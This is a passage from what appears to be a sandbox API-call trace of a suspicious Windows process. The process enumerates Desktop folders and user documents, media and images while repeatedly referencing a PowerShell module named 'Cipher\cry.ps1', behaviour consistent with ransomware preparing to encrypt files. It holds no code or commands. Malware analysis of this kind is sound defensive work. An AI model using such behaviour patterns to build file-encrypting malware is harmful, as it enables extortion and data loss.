1u\\upd4fs3k7gadn")) returned 0x10 [0116.143] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn")) returned 0x10 [0116.143] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", nBufferLength=0x105, lpBuffer=0x99ae630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", lpFilePart=0x0) returned 0x40 [0116.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.143] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", nBufferLength=0x105, lpBuffer=0x99ae57c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", lpFilePart=0x0) returned 0x40 [0116.143] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\", nBufferLength=0x105, lpBuffer=0x99ae550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\", lpFilePart=0x0) returned 0x41 [0116.144] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\*", lpFindFileData=0x99ae79c | out: lpFindFileData=0x99ae79c) returned 0x8e856f8 [0116.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea74) returned 1 [0116.144] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", nBufferLength=0x105, lpBuffer=0x99ae57c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", lpFilePart=0x0) returned 0x40 [0116.144] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\", nBufferLength=0x105, lpBuffer=0x99ae550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\", lpFilePart=0x0) returned 0x41 [0116.144] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\*", lpFindFileData=0x99ae79c | out: lpFindFileData=0x99ae79c) returned 0x8e85478 [0116.144] FindNextFileW (in: hFindFile=0x8e856f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.144] FindNextFileW (in: hFindFile=0x8e856f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.144] FindNextFileW (in: hFindFile=0x8e856f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.145] FindNextFileW (in: hFindFile=0x8e856f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.145] FindNextFileW (in: hFindFile=0x8e856f8, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 0 [0116.145] FindClose (in: hFindFile=0x8e856f8 | out: hFindFile=0x8e856f8) returned 1 [0116.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.145] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.145] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.145] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0116.146] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.146] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0116.146] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 1 [0116.146] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae528, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0116.146] FindNextFileW (in: hFindFile=0x8e85478, lpFindFileData=0x99ae7f8 | out: lpFindFileData=0x99ae7f8) returned 0 [0116.146] FindClose (in: hFindFile=0x8e85478 | out: hFindFile=0x8e85478) returned 1 [0116.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea80) returned 1 [0116.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea8c) returned 1 [0116.146] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\a9dy7b_1.mp3")) returned 0x20 [0116.147] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0116.147] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", nBufferLength=0x105, lpBuffer=0x99ae5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3", lpFilePart=0x0) returned 0x4d [0116.147] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.147] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\a9dY7b_1.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\a9dy7b_1.mp3")) returned 0x20 [0116.147] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\mrbvdzj m.mp3")) returned 0x20 [0116.147] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0116.147] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", nBufferLength=0x105, lpBuffer=0x99ae5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3", lpFilePart=0x0) returned 0x4e [0116.147] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.148] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\MrBvDZJ m.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\mrbvdzj m.mp3")) returned 0x20 [0116.148] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\oase2czbpa4gl9smhw.pdf")) returned 0x20 [0116.148] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae5e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0116.148] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae5ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0116.148] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.148] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\oase2czbpa4gl9smhw.pdf")) returned 0x20 [0116.148] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\9hropzxqd4oougnfchg.xls")) returned 0x20 [0116.148] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0116.149] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", nBufferLength=0x105, lpBuffer=0x99ae62c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls", lpFilePart=0x0) returned 0x4a [0116.149] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.149] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\9hROPZxqd4oOUgNFcHG.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\9hropzxqd4oougnfchg.xls")) returned 0x20 [0116.149] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\piehyzxpexrshbli8isb.ppt")) returned 0x20 [0116.149] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0116.149] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", nBufferLength=0x105, lpBuffer=0x99ae62c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt", lpFilePart=0x0) returned 0x4b [0116.149] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.149] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\piehyzxpexrshbli8isb.ppt")) returned 0x20 [0116.150] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11")) returned 0x10 [0116.150] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11")) returned 0x10 [0116.150] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", nBufferLength=0x105, lpBuffer=0x99ae6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", lpFilePart=0x0) returned 0x32 [0116.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.150] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", nBufferLength=0x105, lpBuffer=0x99ae5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", lpFilePart=0x0) returned 0x32 [0116.150] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\", nBufferLength=0x105, lpBuffer=0x99ae5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\", lpFilePart=0x0) returned 0x33 [0116.150] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\*", lpFindFileData=0x99ae81c | out: lpFindFileData=0x99ae81c) returned 0x8e857f8 [0116.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeaf4) returned 1 [0116.150] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", nBufferLength=0x105, lpBuffer=0x99ae5fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", lpFilePart=0x0) returned 0x32 [0116.150] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\", nBufferLength=0x105, lpBuffer=0x99ae5d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\", lpFilePart=0x0) returned 0x33 [0116.150] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\*", lpFindFileData=0x99ae81c | out: lpFindFileData=0x99ae81c) returned 0x8e854f8 [0116.151] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.151] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.151] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.151] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.151] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.151] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.152] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.152] FindNextFileW (in: hFindFile=0x8e857f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 0 [0116.152] FindClose (in: hFindFile=0x8e857f8 | out: hFindFile=0x8e857f8) returned 1 [0116.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.152] FindNextFileW (in: hFindFile=0x8e854f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.152] FindNextFileW (in: hFindFile=0x8e854f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.152] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\438JZA.swf", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\438JZA.swf", lpFilePart=0x0) returned 0x3d [0116.152] FindNextFileW (in: hFindFile=0x8e854f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.153] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0116.153] FindNextFileW (in: hFindFile=0x8e854f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.155] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0116.155] FindNextFileW (in: hFindFile=0x8e854f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.155] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\qN-C1SB2E4bTdX0 wrX.jpg", lpFilePart=0x0) returned 0x4a [0116.155] FindNextFileW (in: hFindFile=0x8e854f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.155] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\v8Yq.rtf", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\v8Yq.rtf", lpFilePart=0x0) returned 0x3b [0116.155] FindNextFileW (in: hFindFile=0x8e854f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 1 [0116.156] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0116.156] FindNextFileW (in: hFindFile=0x8e854f8, lpFindFileData=0x99ae878 | out: lpFindFileData=0x99ae878) returned 0 [0116.156] FindClose (in: hFindFile=0x8e854f8 | out: hFindFile=0x8e854f8) returned 1 [0116.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb00) returned 1 [0116.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0116.156] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\438JZA.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\438jza.swf")) returned 0x20 [0116.156] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\f1deky.png")) returned 0x20 [0116.156] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0116.156] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", nBufferLength=0x105, lpBuffer=0x99ae62c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png", lpFilePart=0x0) returned 0x3d [0116.157] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.157] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\F1deKy.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\f1deky.png")) returned 0x20 [0116.157] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\jzfttemdygdvi.avi")) returned 0x20 [0116.157] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99ae668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0116.157] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", nBufferLength=0x105, lpBuffer=0x99ae62c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi", lpFilePart=0x0) returned 0x44 [0116.157] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0116.157] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\JZFTTemDyGDvi.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\jzfttemdygdvi.avi")) returned 0x20 [0116.158] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH 